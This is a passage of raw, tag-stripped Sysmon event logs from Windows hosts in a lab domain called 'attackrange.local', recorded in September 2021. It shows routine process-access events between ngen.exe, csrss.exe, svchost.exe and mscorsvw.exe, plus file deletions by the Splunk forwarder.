14:45:28.071{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F88-613B-AF0A-00000000F001}1552C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000014012Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:45:29.170{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=17FAC17E1ED8DADADA3E4F8738B80B9B,SHA256=C91CDCBC6C177F9E5FF39192E4C5C037FF810D31CF3081C8CB16A141D99AB694,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000045794Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:29.977{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F89-613B-C40A-00000000F001}4908C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000045793Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:29.977{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=08212F261769DFCA5D6053C70DD8ACDA,SHA256=34C080D466F9C709ABA732965A200EC9C0049700FF37D3802F9D28EE57DB5514,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000045792Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:29.977{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F89-613B-C40A-00000000F001}4908C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045791Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:29.977{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F89-613B-C40A-00000000F001}4908C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045790Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:29.914{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F89-613B-C30A-00000000F001}6532C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045789Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:29.914{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F89-613B-C30A-00000000F001}6532C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045788Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:29.914{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F89-613B-C30A-00000000F001}6532C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045787Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:29.789{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F89-613B-C20A-00000000F001}356C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045786Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:29.774{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F89-613B-C20A-00000000F001}356C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045785Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:29.774{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F89-613B-C20A-00000000F001}356C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045784Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:29.727{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F89-613B-C10A-00000000F001}6852C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045783Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:29.727{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F89-613B-C10A-00000000F001}6852C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045782Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:29.727{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F89-613B-C10A-00000000F001}6852C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045781Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:29.633{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F89-613B-C00A-00000000F001}6140C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045780Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:29.633{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F89-613B-C00A-00000000F001}6140C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045779Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:29.633{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F89-613B-C00A-00000000F001}6140C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045778Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:29.602{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F89-613B-BF0A-00000000F001}6244C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045777Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:29.586{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F89-613B-BF0A-00000000F001}6244C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045776Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:29.586{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F89-613B-BF0A-00000000F001}6244C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000045775Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:29.524{7BD73061-664E-613B-B000-00000000F001}4184NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunkd.exeC:\Program Files\SplunkUniversalForwarder\var\run\serverclass.xmlMD5=086DB1CFB481058C3EF9F48D868FE74F,SHA256=BB95DB224236BED3122F53106B6D7A2930FE56435B98D0E225AAE99BDF5D7CF8,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000045774Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:29.508{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F89-613B-BE0A-00000000F001}6764C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045773Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:29.492{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F89-613B-BE0A-00000000F001}6764C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000045772Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:29.492{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F89-613B-BE0A-00000000F001}6764C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4